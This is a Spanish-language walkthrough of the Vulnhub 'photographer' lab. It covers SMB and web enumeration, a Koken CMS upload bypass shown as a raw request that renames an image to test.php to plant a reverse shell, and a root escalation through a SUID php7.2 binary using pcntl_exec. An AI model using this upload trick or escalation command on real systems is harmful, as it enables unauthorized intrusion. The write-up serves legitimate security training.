photographer - Vulnhub

La máquina ‘photographer’ presenta una vulnerabilidad en su sistema de gestión de contenido Koken que permite la carga de una webshell. Esta vulnerabilidad nos concede acceso al sistema. Una vez dentro, encontramos un archivo SUID que nos otorga la capacidad de ejecutar comandos con privilegios de root

Enumeración

Empezamos con un reconocimiento de puertos y servicios a través de la herramienta nmap. En el cual logramos detectar dos servicios(http,samba).


# Nmap 7.93 scan initiated Sun Oct  8 11:35:17 2023 as: nmap -sCV -p80,139,445,8000 -oN vulnscan.nmap 192.168.0.115
Nmap scan report for 192.168.0.115
Host is up (0.00030s latency).

PORT     STATE SERVICE     VERSION
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Photographer by v1n1v131r4
|_http-server-header: Apache/2.4.18 (Ubuntu)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8000/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Koken 0.22.24
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: daisa ahomi
|_http-trane-info: Problem with XML parsing of /evox/about
MAC Address: 08:00:27:1C:31:3C (Oracle VirtualBox virtual NIC)
Service Info: Host: PHOTOGRAPHER

Host script results:
|_clock-skew: mean: 4h20m03s, deviation: 2h18m34s, median: 3h00m02s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: photographer
|   NetBIOS computer name: PHOTOGRAPHER\x00
|   Domain name: \x00
|   FQDN: photographer
|_  System time: 2023-10-08T13:35:34-04:00
| smb2-time: 
|   date: 2023-10-08T17:35:34
|_  start_date: N/A
|_nbstat: NetBIOS name: PHOTOGRAPHER, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Oct  8 11:35:31 2023 -- 1 IP address (1 host up) scanned in 13.96 seconds

Puerto samba

Realizaremos un análisis del servicio Samba utilizando la herramienta ‘smbmap’, que nos proporciona la capacidad de enumerar los directorios a los que se puede acceder dentro del sistema a través del protocolo SMB.

➜  Photographer smbmap -H 192.168.0.115 -u null                     
[+] Guest session   	IP: 192.168.0.115:445	Name: 192.168.0.115                                     
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	print$                                            	NO ACCESS	Printer Drivers
	sambashare                                        	READ ONLY	Samba on Ubuntu
	IPC$                                              	NO ACCESS	IPC Service (photographer server (Samba, Ubuntu))

Lectura de archivos

Visualizamos que tenemos acceso de lectura al directorio sambashare. Que contiene dos archivos(wordpress.bkp.zip,mailsent.txt).Dentro del contenido del archivo ‘mailsent.txt’, hemos logrado extraer información que incluye dos nombres de usuario válidos y una contraseña.

Página web

En este reto la máquina contiene dos servicios web que corren en diferentes puertos. Voy a utilizar el script de Nmap denominado ‘http-enum’, el cual está diseñado para enumerar y obtener información sobre los archivos y recursos alojados en servidores web.

# Nmap 7.93 scan initiated Sun Oct  8 11:37:12 2023 as: nmap --script http-enum -p80,8000 -oN scanhttp.nmap 192.168.0.115
Nmap scan report for 192.168.0.115
Host is up (0.00032s latency).

PORT     STATE SERVICE
80/tcp   open  http
| http-enum: 
|_  /images/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
8000/tcp open  http-alt
| http-enum: 
|   /admin/: Possible admin folder
|   /admin/index.html: Possible admin folder
|   /app/: Potentially interesting folder
|   /content/: Potentially interesting folder
|   /error/: Potentially interesting folder
|   /home/: Potentially interesting folder
|_  /index/: Potentially interesting folder
MAC Address: 08:00:27:1C:31:3C (Oracle VirtualBox virtual NIC)

# Nmap done at Sun Oct  8 11:37:25 2023 -- 1 IP address (1 host up) scanned in 12.65 seconds

Al acceder al sitio web ubicado en la dirección http://192.168.0.115:8000/admin, hemos identificado que el sistema está ejecutando el gestor de contenido Koken. Al ingresar, nos encontramos con un panel de inicio de sesión, por lo que procedemos a utilizar las credenciales de acceso que hemos obtenido previamente del archivo en el servicio Samba.

Inicio de sesión

Proporcionamos las credenciales que visualizamos anteriormente.

Intrusión al sistema

El sistema de gestión de contenidos Koken exhibe una vulnerabilidad que habilita la carga de archivos PHP, lo cual resulta en la obtención de acceso remoto a la máquina. Para explotar esta vulnerabilidad, accedemos a la URL http://192.168.0.115:8000/admin/#/library y observamos un botón denominado ‘import content’. Al seleccionarlo, procedemos a cargar una imagen cualquiera y posteriormente interceptamos la respuesta con burp.


POST /api.php?/content HTTP/1.1
Host: 192.168.0.115:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: es-AR,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.115:8000/admin/
x-koken-auth: cookie
Content-Type: multipart/form-data; boundary=---------------------------31344929814676734271882685817
Content-Length: 1086
Origin: http://192.168.0.115:8000
DNT: 1
Connection: close
Cookie: koken_referrer=%2F; koken_session_ci=4RVJeHCtUOelovf2eZ0J50XCgVrUSat5dB31RToVOUrNWz1c8xEUpyqjLeboUz0bXNd6tyQ6rlw8ZTHJuyE8P4NpB6vnLuZ%2B1V36pfhPr3t9MAWPtrmbWd89tFJRmYmfG5Yi1lNptPwawWsO2%2BUudA8h4neZ5nAPNtjIdztaiW%2FeBNC0%2B%2FuegJWBCn%2BE4QT45StgmZp0huyLAIUt%2Fygju5OF3fORJp7KMp%2BQpkhoteNm%2BigVxl71k9mEaSYZnSvWIh99lYJOghPVQMOakq64mfJzUYWxhdzOoy5pn1nCzf3Vxphd9AkW5fGVuhBUq%2B3uAJOZTPOL8wCI6V49zWdQr7SzOKTRH3yoGizC0shXoOJ4Cx4FofSiOlkTu7rKG4IG%2F4vZ5xKoZUJT9eE02nXz3BQxuEoCfi6GaT9x2Uss9jwqwYn9mnuasum5vwoqE%2BcVerisxOCXxrpIMB5MLAgQJR0ejEYorUXUO9iXqTPpXMZMy6si9wmPCoWWlIiwQlk4o3zpsD3oyNDqiWLZWA%2BiBrtV%2BVxh0tObNjzUTWXDsdNs9eenOXBMw2WDwz2x4hdP%2B9HpibBXcBUaGdTCQ5789CxSN3Tb8U8DiitUpKnVU8lZfFXZpSZEenWxAa1n91F%2FD2U3rNqCkPXijRvD2aQRzcZAI9zgYKHvI3ecEsPd8LUE0PynltqUEeL7YawkRRFjPtlUPOkmcL5eFIgRVQYoWmAW8%2FebamJfJzCS3qr7o61MEsD%2FzhPVU0qYmMG4WIkG5dm4PKbEqCS2dYTwWIbbLwtAzOxch6S3DtkIF%2BsSWUxKqAMO9b1jLyXt86sTAZXDNHadE7lv1aNm0I3VS4%2BFOuctHb1RNwvpTe9gQyey%2Beh%2Fmj6fqJ8vw87UjAe6uiIygYhubWa9VqKUC9Dey5nbACmufE8y7kbfRjFxd1DuMK709QhvBJ4AZfDVUR7oaScsvu%2FwU7CiTPnmvCRCYjOSAWsnbiIuB0jh8fYAu1J3D013ya7cwMq58CZxfAVuYVy7bJcRKStwgUBcGboEkUNjE9YCKvqV4DuDHIul5NVzGfd7O8%2Fi1PqGgcQGfUTLfQcUIoh9iH2johR0DiVwbCh3NXBwubm4afMhFCKD1w%2BDpaxwvNng0mJygE%2FgZDvXsc7JwOAlW0Kj2qEQJxk053dhBf8ORfeAeADKARfYiL23ZegujGs9xmOap5I00OX3Mev%2BYUGxX1zeu2mcUUWq0kynN1d7UKsok4qH8AnIfyKN1sFSdOVma3IffrzebLE%2Fc5rR4f1ffa69f0507ad383f44dc963e5083fa532d59d

-----------------------------31344929814676734271882685817
Content-Disposition: form-data; name="name"

test.php
-----------------------------31344929814676734271882685817
Content-Disposition: form-data; name="chunk"

0
-----------------------------31344929814676734271882685817
Content-Disposition: form-data; name="chunks"

1
-----------------------------31344929814676734271882685817
Content-Disposition: form-data; name="upload_session_start"

1696793225
-----------------------------31344929814676734271882685817
Content-Disposition: form-data; name="visibility"

public
-----------------------------31344929814676734271882685817
Content-Disposition: form-data; name="license"

all
-----------------------------31344929814676734271882685817
Content-Disposition: form-data; name="max_download"

none
-----------------------------31344929814676734271882685817
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg

<tu scripts aqui>

-----------------------------31344929814676734271882685817--

Utilizare la reverse shell de pentestmonkey https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php. Ahora solamente ingresamos a la pagina inicial de la web y se ejecutaria la reverse shell.

Escalación de privilegios.

Después de haber obtenido acceso a la máquina, ejecutamos una herramienta denominada ‘find’ con el propósito de identificar los archivos que tienen el bit SUID configurado, lo que nos permitirá identificar potenciales puntos de elevación de privilegios en el sistema.


www-data@photographer:/$ find / -perm -4000 2>/dev/null | xargs ls -la
-rwsr-xr-x 1 root root         30800 Jul 12  2016 /bin/fusermount
-rwsr-xr-x 1 root root         40152 May 16  2018 /bin/mount
-rwsr-xr-x 1 root root         44168 May  7  2014 /bin/ping
-rwsr-xr-x 1 root root         44680 May  7  2014 /bin/ping6
-rwsr-xr-x 1 root root         40128 May 16  2017 /bin/su
-rwsr-xr-x 1 root root         27608 May 16  2018 /bin/umount
-rwsr-xr-x 1 root root         49584 May 16  2017 /usr/bin/chfn
-rwsr-xr-x 1 root root         40432 May 16  2017 /usr/bin/chsh
-rwsr-xr-x 1 root root         75304 May 16  2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root         39904 May 16  2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root         54256 May 16  2017 /usr/bin/passwd
-rwsr-xr-x 1 root root       4883680 Jul  9  2020 /usr/bin/php7.2
-rwsr-xr-x 1 root root        136808 Jan 20  2021 /usr/bin/sudo
-rwsr-xr-- 1 root messagebus   42992 Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root         10232 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root        428240 Mar  4  2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root        110792 Feb  7  2021 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root         18664 Mar 18  2017 /usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox
-rwsr-sr-x 1 root root         10584 Apr  8  2021 /usr/lib/xorg/Xorg.wrap
-rwsr-xr-- 1 root dip         394984 Jul 23  2020 /usr/sbin/pppd

Explotación

Observamos que existe un ejecutable en la ubicación /usr/bin/php7.2 y que este es vulnerable a la ejecución de comandos arbitrarios. En consecuencia, procedemos a realizar las siguientes acciones:

www-data@photographer:/$ 
www-data@photographer:/$ CMD="/bin/sh"
www-data@photographer:/$ /usr/bin/php7.2 -r "pcntl_exec('/bin/sh', ['-p']);"
# whoami
root